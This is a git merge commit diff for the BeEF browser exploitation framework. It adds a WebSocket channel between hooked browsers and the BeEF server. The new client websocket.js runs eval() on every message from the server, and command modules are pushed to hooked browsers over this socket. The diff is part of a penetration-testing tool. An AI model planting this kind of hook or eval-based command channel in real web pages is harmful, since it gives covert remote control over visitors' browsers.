Merge pull request #681 from radoen/master

Merging WebSocket fork, disabled by default.
This commit is contained in:
Michele Orru
2012-05-19 12:00:13 -07:00
19 changed files with 30433 additions and 344 deletions

View File

@@ -26,6 +26,7 @@ end
gem "thin"
gem "sinatra", "1.3.2"
gem "em-websocket", "~> 0.3.6"
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"

9
beef
View File

@@ -112,6 +112,15 @@ BeEF::Core::Console::Banners.print_network_interfaces_routes
#@note Prints the API key needed to use the RESTful API
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#@note Starts the WebSocket server
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port")}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
end
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)

View File

@@ -38,6 +38,14 @@ beef:
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
secure: false # use WebSocketSecure
port: 11989
alive_timer: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: false

View File

@@ -53,3 +53,6 @@ require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/api'
## @note Include Websocket
require 'core/main/network_stack/websocket/websocket'

View File

@@ -48,9 +48,15 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
},
if ( typeof beef.websocket == "undefined"){
this.commands.push(fn);
}else{
fn();
}
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.

View File

@@ -13,57 +13,69 @@
// See the License for the specific language governing permissions and
// limitations under the License.
//
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
BEEFHOOK=beef.session.get_hook_session_id()
BEEFHOOK = beef.session.get_hook_session_id()
if( beef.pageIsLoaded ) {
beef.net.browser_details();
if (beef.pageIsLoaded) {
beef.net.browser_details();
}
window.onload = function() {
beef_init();
window.onload = function () {
beef_init();
}
window.onpopstate = function(event) {
if(beef.onpopstate.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onpopstate.length;i++){
var callback = beef.onpopstate[i];
try{
callback(event);
}catch(e){
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
window.onpopstate = function (event) {
if (beef.onpopstate.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onpopstate.length; i++) {
var callback = beef.onpopstate[i];
try {
callback(event);
} catch (e) {
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
}
window.onclose = function(event) {
if(beef.onclose.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onclose.length;i++){
var callback = beef.onclose[i];
try{
callback(event);
}catch(e){
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
window.onclose = function (event) {
if (beef.onclose.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onclose.length; i++) {
var callback = beef.onclose[i];
try {
callback(event);
} catch (e) {
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
}
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.browser_details()
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
beef.websocket.start();
beef.net.browser_details();
beef.updater.execute_commands();
beef.logger.start();
}
else {
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
}
}

View File

@@ -20,17 +20,17 @@
*/
beef.net = {
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
handler: '/dh',
chop: 500,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
host:"<%= @beef_host %>",
port:"<%= @beef_port %>",
hook:"<%= @beef_hook %>",
handler:'/dh',
chop:500,
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count:0,
cmd_queue:[],
//Command object
command: function() {
command:function () {
this.cid = null;
this.results = null;
this.handler = null;
@@ -38,20 +38,20 @@ beef.net = {
},
//Packet object
packet: function() {
packet:function () {
this.id = null;
this.data = null;
},
//Stream object
stream: function() {
stream:function () {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function() {
this.get_base_url_length = function () {
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
},
this.get_packet_data = function() {
this.get_packet_data = function () {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
@@ -61,7 +61,7 @@ beef.net = {
* Response Object - used in the beef.net.request callback
* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
*/
response: function() {
response:function () {
this.status_code = null; // 500, 404, 200, 302
this.status_text = null; // success, timeout, error, ...
this.response_body = null; // "<html>…." if not a cross domain request
@@ -73,7 +73,7 @@ beef.net = {
},
//Queues the command, to be sent back to the framework on the next refresh
queue: function(handler, cid, results, callback) {
queue:function (handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
s.cid = cid;
@@ -85,13 +85,26 @@ beef.net = {
},
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
this.queue(handler, cid, results, callback);
this.flush();
send:function (handler, cid, results, callback) {
if (typeof beef.websocket === "undefined") {
this.queue(handler, cid, results, callback);
this.flush();
}
else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
}
catch (e) {
this.queue(handler, cid, results, callback);
this.flush();
}
}
},
//Flush all currently queued commands to the framework
flush: function() {
flush:function () {
if (this.cmd_queue.length > 0) {
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
@@ -115,13 +128,13 @@ beef.net = {
},
//Split string into chunk lengths determined by amount
chunk: function(str, amount) {
chunk:function (str, amount) {
if (typeof amount == 'undefined') n = 2;
return str.match(RegExp('.{1,' + amount + '}', 'g'));
},
//Push packets to framework
push: function(stream) {
push:function (stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++) {
this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
@@ -143,7 +156,7 @@ beef.net = {
*
* @return: {Object} response: this object contains the response details
*/
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
@@ -154,9 +167,9 @@ beef.net = {
//build the url
var url = "";
if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
url = path;
}else{
} else {
url = scheme + "://" + domain;
url = (port != null) ? url + ":" + port : url;
url = (path != null) ? url + path : url;
@@ -183,19 +196,19 @@ beef.net = {
}
//build and execute the request
$j.ajax({type: method,
url: url,
data: data,
timeout: (timeout * 1000),
$j.ajax({type:method,
url:url,
data:data,
timeout:(timeout * 1000),
//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
beforeSend: function(xhr) {
if(method == "POST"){
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
success: function(data, textStatus, xhr) {
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -204,14 +217,14 @@ beef.net = {
response.was_timedout = false;
response.duration = (end_time - start_time);
},
error: function(jqXHR, textStatus, errorThrown) {
error:function (jqXHR, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = jqXHR.responseText;
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
},
complete: function(jqXHR, textStatus) {
complete:function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.headers = jqXHR.getAllResponseHeaders();
@@ -226,11 +239,11 @@ beef.net = {
response.port_status = "open";
}
}
}).done(function() {
if (callback != null) {
callback(response);
}
});
}).done(function () {
if (callback != null) {
callback(response);
}
});
return response;
},
@@ -239,10 +252,11 @@ beef.net = {
* - requestid: needed on the callback
* - allowCrossDomain: set cross-domain requests as allowed or blocked
*/
forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
// check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
cross_domain = !(port == "80" || port == "443");
@@ -274,16 +288,16 @@ beef.net = {
response.status_text = "crossdomain";
response.port_status = "crossdomain";
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
callback(response, requestid);
return response;
}
// build and execute the request
if (method == "POST"){
$j.ajaxSetup({
data: data
});
if (method == "POST") {
$j.ajaxSetup({
data:data
});
}
// this is required for bugs in IE so data can be transfered back to the server
@@ -300,14 +314,14 @@ beef.net = {
// needed otherwise jQuery always adds:
// Content-type: application/xml
// even if data is populated
beforeSend: function(xhr) {
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
// http server responded successfully
success: function(data, textStatus, xhr) {
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -318,7 +332,7 @@ beef.net = {
// server responded with a http error (403, 404, 500, etc)
// or server is not a http server
error: function(xhr, textStatus, errorThrown) {
error:function (xhr, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = xhr.responseText;
response.status_code = xhr.status;
@@ -326,7 +340,7 @@ beef.net = {
response.duration = (end_time - start_time);
},
complete: function(xhr, textStatus) {
complete:function (xhr, textStatus) {
// cross-domain request
if (cross_domain) {
@@ -379,7 +393,7 @@ beef.net = {
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {
clean:function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
@@ -390,7 +404,7 @@ beef.net = {
},
//Detects if an array has a string key
array_has_string_key: function(arr) {
array_has_string_key:function (arr) {
if ($j.isArray(arr)) {
try {
for (var key in arr)
@@ -402,7 +416,7 @@ beef.net = {
},
//Sends back browser details to framework
browser_details: function() {
browser_details:function () {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);

View File

@@ -23,7 +23,7 @@ beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 1000,
timeout: 5000,
// A lock.
lock: false,
@@ -51,10 +51,14 @@ beef.updater = {
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
} else {
this.get_commands();
}
else {
this.get_commands(); /*Polling*/
}
}
// ( typeof beef.websocket === "undefined")
setTimeout("beef.updater.check();", beef.updater.timeout);
},
@@ -78,7 +82,8 @@ beef.updater = {
if(beef.commands.length == 0) return;
this.lock = true;
/*here execute the command */
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {

View File

@@ -0,0 +1,73 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//beef.websocket.socket.send(take answer to server beef)
/*New browser init call this */
beef.websocket = {
socket:null,
alive_timer:<%= @websocket_timer %>,
init:function () {
var webSocketServer = beef.net.host;
var webSocketPort = <%= @websocket_port %>;
var webSocketSecure = <%= @websocket_secure %>;
var protocol = "ws://";
if(webSocketSecure)
protocol = "wss://";
if (beef.browser.isFF() && !!window.MozWebSocket) {
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
} else {
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}
},
/* send Helo message to the BeEF server and start async communication*/
start:function () {
new beef.websocket.init();
this.socket.onopen = function () {
//console.log("Socket has been opened!");
/*send browser id*/
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
//console.log("Connected and Helo");
beef.websocket.alive();
}
this.socket.onmessage = function (message) {
//console.log("Received message via WS."+ message.data);
eval(message.data);
}
},
send:function (data) {
this.socket.send(data);
// console.log("Sent [" + data + "]");
},
alive: function (){
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
// console.log("sent alive");
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
}
};
beef.regCmp('beef.websocket');

View File

@@ -14,79 +14,78 @@
# limitations under the License.
#
module BeEF
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
# Handles command data
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
# @todo Confirm argument data variable type.
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
# Initial setup function, creates the command module and saves details to datastore
def setup()
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
# Handles command data
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
# Initial setup function, creates the command module and saves details to datastore
def setup()
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
.each {|key,value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
# @todo ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
(print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
# @todo ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
result = get_param(@data, 'results')
result = get_param(@data, 'results')
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
command.session_id = beefhook
if command.respond_to?(:post_execute)
command.post_execute
end
#@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty"; return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
end
# Returns parameter from hash
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
# @return Value referenced in hash at the supplied key
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
command.session_id = beefhook
if command.respond_to?(:post_execute)
command.post_execute
end
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty";return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty";return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
end
# Returns parameter from hash
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
# @return Value referenced in hash at the supplied key
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end
end
end

View File

@@ -17,37 +17,43 @@ module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beefjs = ''
# @note location of sub files
beefjs = ''
# @note location of sub files
beefjs_path = "#{$root_dir}/core/main/client/"
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
# @note we load websocket library only if ws server is enabled in config.yalm
# check in init.js
if config.get("beef.http.websocket.enable")
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
else
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
end
# @note construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
}
# @note create the config for the hooked browser session
config = BeEF::Core::Configuration.instance
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
@@ -58,13 +64,19 @@ module Modules
end
end
end
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
end
# @note populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@body << eruby.evaluate(hook_session_config)
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
@@ -73,33 +85,33 @@ module Modules
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each {|k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
@@ -110,7 +122,7 @@ module Modules
end
end
end
end
end

View File

@@ -14,57 +14,77 @@
# limitations under the License.
#
module BeEF
module Core
module Handlers
module Modules
module Core
module Handlers
module Modules
module Command
module Command
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil"; return) if command.nil?
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
(print_error "hooked_browser is nil";return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil";return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil";return) if command.nil?
(print_error "hooked_browser.command_module_id is nil";return) if command.command_module_id.nil?
config = BeEF::Core::Configuration.instance
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil"; return) if command_module.nil?
(print_error "command_module.path is nil"; return) if command_module.path.nil?
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil";return) if command_module.nil?
(print_error "command_module.path is nil";return) if command_module.path.nil?
if (command_module.path.match(/^Dynamic/))
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
ws = BeEF::Core::Websocket::Websocket.instance
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
content = command_module.output.gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
ws.send(content, hooked_browser.session)
else
@body << command_module.output + "\n\n"
end
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
end
# @note flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
if(command_module.path.match(/^Dynamic/))
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
@body << command_module.output + "\n\n"
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
end
# @note flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
end
end
end
end

View File

@@ -14,118 +14,118 @@
# limitations under the License.
#
module BeEF
module Core
module NetworkStack
module Handlers
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
module Core
module NetworkStack
module Handlers
# @note holds packet queue
PQ = Array.new()
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# @note holds packet queue
PQ = Array.new()
before do
error 404 unless !params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# Combines packet information and pushes to PQ (packet queue), then checks packets
get '/' do
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
before do
error 404 unless !params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
# Combines packet information and pushes to PQ (packet queue), then checks packets
get '/' do
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
Thread.new {
check_packets()
}
end
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
Thread.new {
check_packets()
}
end
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
pc += 1
end
end
if (packet[:packet_count] == pc)
end
if (packet[:packet_count] == pc)
packets = expunge(packet[:beefhook], packet[:stream_id])
data = ''
packets.each_with_index do |sp,i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
packets.each_with_index do |sp, i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
b64 = Base64.decode64(data)
b64 = Base64.decode64(data)
begin
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
end
end
end
end
end
end
# Delete packets that have been reconstructed, return deleted packets
# @param [String] beefhook Beefhook of hooked browser
# @param [Integer] stream_id The stream ID
def expunge(beefhook, stream_id)
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
packets.sort_by { |p| p[:packet_id] }
end
# Delete packets that have been reconstructed, return deleted packets
# @param [String] beefhook Beefhook of hooked browser
# @param [Integer] stream_id The stream ID
def expunge(beefhook, stream_id)
packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
packets.sort_by { |p| p[:packet_id] }
end
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
